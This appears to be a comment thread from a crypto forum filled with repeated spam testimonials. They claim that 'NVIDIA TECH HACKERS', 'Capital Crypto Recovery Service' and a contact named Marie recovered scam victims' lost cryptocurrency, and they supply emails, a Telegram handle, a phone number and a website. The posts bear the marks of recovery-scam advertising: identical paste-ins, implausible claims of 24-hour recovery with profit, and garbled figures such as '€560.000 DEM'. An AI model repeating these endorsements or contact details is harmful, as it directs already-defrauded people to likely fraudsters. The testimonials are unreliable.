    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon